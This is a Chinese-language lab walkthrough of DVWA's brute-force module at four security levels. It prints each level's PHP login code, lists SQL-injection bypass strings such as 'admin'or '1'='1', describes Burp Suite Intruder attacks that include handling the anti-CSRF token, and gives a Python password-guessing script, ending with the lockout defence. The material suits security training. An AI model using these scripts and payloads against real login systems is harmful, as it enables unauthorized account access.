Brute Force暴力破解模块,是指黑客密码字典,使用穷举法(举出所有的可能的结果,然后逐一验证是否正确!)猜出用户的口令,是一种广泛的攻击手法。
LOW
查看暴力破解—LOW的源码
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src="{$avatar}" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
分析源码
接受 username
和 password
的值,然后传入数据库做比较,直接使用爆破即可。
low级别的代码直接获取用户输入的用户名和密码,密码再经过MD5进行加密,所以杜绝了通过密码进行SQL注入的可能。然后查询数据库中,查询出结果来了说明用户名和密码正确。这里对输入的用户名和密码没经过任何的过滤和检查。
1.我们首先配置好burpsuite的本地代理。
设置代理(端口填8080),打开burspuite,,之后在浏览器Login
Burp中的设置,前面的勾一定要有,不然无法监听
Intercept(拦截)必须为打开状态
之后去浏览器,我们输入 admin 和任意的密码(我输的123),
点击Login,burpsuite自动进行抓包
2.全选,发送到 Intruder 模块 ,
这里默认会对所有可能的爆破点标记,
所以我们点击 clear,然后add增加我们的,账号和密码,使其成为爆破点
3.选一下攻击类型,
设置爆破类型为cluster bomb类型(这样才能同时爆破用户名和密码)
我们点击 payloads,然后选择 load 来加载我们的密码字典,也可以使用paste粘贴,账号密码,还可使用add手动输入
4.然后点击 start attack 开始攻击
从弹出的页面可以看到,有一条长度和其他的不一样,可以判断这个就是正确的密码了
万能密码(其实感觉是万能账号)
此处也可以使用万能密码进行登录。(下面3个随便选个当账号,,密码随便输入)
admin'or '1'='1 admin' -- - admin' #
结果
Medium
查看源码
<?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src="{$avatar}" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
分析源码
1、对传过来的值,使用了 mysql_real_escape_string()
函数,转义了以下字符:
x00 ' " x1a
2、使用了 sleep(2)
函数,如果密码错误,则延时两秒响应。
如果爆破的话,还是可以直接进行爆破的,只不过速度慢了些而已。。
因为过滤了单引号,我们无法闭合掉前面的单引号,所以此处无法再使用万能密码了。
这依然可以和 low 级别的爆破一样,只不过时间长了点而已。因为试一次密码要过滤2秒才能试下一个。
High
查看源码
<?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src="{$avatar}" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
所以,我们不能再像Low和Medium那样无脑式的爆破了
方法一:使用python脚本对password参数进行爆破,并打印结果
注:下面代码第三行ip换成 目标主机(DVWA)的ip才行
from bs4 import BeautifulSoup import urllib2 header={ 'Host': '192.168.43.116', 'Cache-Control': 'no-cache, must-revalidate', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Wed, 15 Aug 2018 05:49:00 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://localhost/DVWA/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Cookie': 'security=high; PHPSESSID=9vf87imbl5g89p3arsgaoqnf87'} requrl = "http://localhost/DVWA/vulnerabilities/brute/" def get_token(requrl,header): req = urllib2.Request(url=requrl,headers=header) response = urllib2.urlopen(req) print response.getcode(), the_page = response.read() print len(the_page) soup = BeautifulSoup(the_page,"html.parser") # print '###################' # print soup.find_all('input')[3].get('value') user_token = soup.find_all('input')[3].get('value') #user_token = soup.form.input.input.input.input["value"] return user_token user_token = get_token(requrl,header) i=0 for line in open('C:/Users/neton.LIU/Desktop/password.txt'): requrl = "http://localhost/DVWA/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(), user_token = get_token(requrl,header) if (i == 10): break
password.txt是我自己设置的字典,很小,我只写了十个密码。
打印顺序:序号、用户名、密码、http状态码以及返回的页面长度。
方法二:还是使用burpsuite来爆破
查看 High级的源码,看以看出做了CSRF防御,但是并未做限制频次或锁定账号机制,所以增加了爆破难度,但是依然可以爆破。
1. 将登录请求进行拦截,发现增加了user_token参数,所以爆破要选择两个参数来进行,先将请求发送到intruder。
2. 设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。
3.设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always
注:将下图value= 后面的数字复制下来,破解时要用到
4. 然后设置payload,第一个参数设置不在赘述,第二个参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。
5. 点击start attack攻击爆破,结果成功爆破,如下图所示
Impossible
查看源码
<?php if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Default values $total_failed_login = 3; $lockout_time = 15; $account_locked = false; // Check the database (Check user information) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "<p>Welcome to the password protected area <em>{$user}</em></p>"; echo "<img src="{$avatar}" />"; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
重点在于:
$total_failed_login = 3; $lockout_time = 15; $account_locked = false;
添加机制,错误 3 次的话,就锁定 15 分钟,从根本上杜绝啦暴力破解
结束